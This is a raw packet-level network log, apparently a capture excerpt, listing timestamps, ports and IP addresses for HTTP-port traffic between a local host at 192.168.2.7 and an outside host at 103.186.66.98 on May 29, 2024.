May 29, 2024 11:45:09.556123018 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.556134939 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.556138992 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.556148052 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.556154013 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.556159973 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.556170940 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.556173086 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.556188107 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.556199074 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.556210995 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.556210995 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.556232929 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.556252956 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.575648069 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.575870991 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.575890064 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.575907946 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.575918913 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.575931072 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.575932980 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.575942993 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.575953960 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.575965881 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.575969934 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.575978041 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.575989962 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576003075 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.576009035 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576020956 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576025009 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.576035976 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576041937 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.576081991 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.576108932 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576137066 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576178074 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576225996 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576237917 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576256037 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.576267958 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.576420069 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576437950 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576450109 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576457977 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.576466084 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576478004 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576495886 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.576499939 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576514006 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576515913 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.576527119 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576538086 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576550007 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576562881 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576562881 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.576575041 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576586962 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576596975 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.576597929 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576612949 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.576627016 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.576663971 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.642718077 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642743111 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642754078 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642765999 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642776966 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642795086 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642807007 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642807961 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.642817974 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642838001 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642857075 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642867088 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.642878056 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642890930 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642903090 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642913103 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642926931 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642932892 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.642950058 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642961979 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642961025 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.642972946 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642985106 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.642992973 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.642996073 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643014908 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643024921 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643026114 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643038988 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643050909 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643059969 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643064976 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643076897 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643084049 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643095970 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643105030 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643110037 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643124104 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643126965 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643136024 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643147945 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643155098 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643160105 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643183947 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643198013 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643239021 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643250942 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643260956 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643271923 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643284082 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643285036 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643295050 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643309116 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643311977 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643347979 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643361092 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643378973 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643388987 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643399954 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643402100 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643412113 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643424988 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643424988 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643436909 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643448114 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643454075 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643460035 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643471003 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643474102 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643500090 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643532038 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643543005 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643563032 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643563986 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643580914 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643594027 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643604040 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643608093 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643615961 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643626928 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643639088 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643649101 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643656015 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643661022 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643672943 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643678904 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643687010 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.643702030 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.643724918 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.644577980 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.644691944 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.644704103 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.644716978 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.644727945 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.644745111 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.644751072 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.644758940 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.644772053 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.644769907 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.644783020 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.644792080 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.644794941 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.644805908 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.644817114 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.644824982 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.644829988 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.644841909 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.644850969 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.644867897 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.644885063 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.664562941 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.664580107 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.664602041 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.664614916 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.664628029 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.664653063 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.664663076 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.664678097 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.664685011 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.664695978 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.664709091 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.664719105 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.664741039 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.664741039 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.664745092 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.664757013 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.664769888 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.664772987 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.664781094 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.664798021 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.664838076 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.665107012 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665118933 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665193081 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.665307045 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665353060 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665365934 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665400028 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665425062 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665429115 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.665437937 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665458918 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.665469885 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665478945 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.665482998 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665514946 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.665623903 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665635109 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665647030 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665657997 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665671110 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665676117 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.665683985 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665695906 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665707111 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665713072 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.665713072 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.665719986 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665730953 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665741920 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.665769100 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.716974974 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.731199026 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.731215954 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.731228113 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.731260061 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.731287956 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.731363058 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.731375933 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.731388092 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.731399059 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.731416941 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.731429100 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.731431007 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.731446981 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.731466055 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.731498003 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.731755972 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.731769085 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.731826067 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.731899977 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.731916904 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.731976032 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732014894 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732027054 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732038975 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732050896 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732063055 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732069969 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732088089 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732161999 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732173920 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732183933 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732197046 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732208014 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732215881 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732218981 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732230902 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732239962 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732243061 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732254982 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732264042 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732265949 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732276917 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732284069 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732295990 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732310057 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732316017 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732316017 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732328892 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732346058 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732362986 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732363939 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732377052 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732388973 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732409000 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732426882 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732460022 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732471943 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732496023 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732510090 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732512951 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732525110 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732537031 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732567072 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732578993 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732604027 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732604027 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732605934 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732678890 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732688904 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732701063 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732712984 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732731104 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732743025 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732752085 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732753992 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732765913 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732777119 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732781887 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732798100 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732808113 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732834101 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732841015 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732846975 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732862949 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732871056 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732872963 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732884884 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732897997 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732908964 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732909918 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732922077 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.732932091 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.732979059 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.733243942 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.733254910 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.733304024 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.733443022 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.733545065 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.733640909 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.733659029 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.733670950 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.733683109 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.733694077 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.733699083 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.733706951 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.733720064 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.733722925 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.733731031 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.733742952 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.733747005 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.733755112 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.733768940 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.733772993 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.733781099 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.733798027 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.733840942 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.753309011 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.753324986 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.753376961 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:09.753521919 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.753534079 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.753546000 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:09.753556967 CEST	80	49701	103.186.66.98	192.168.2.7
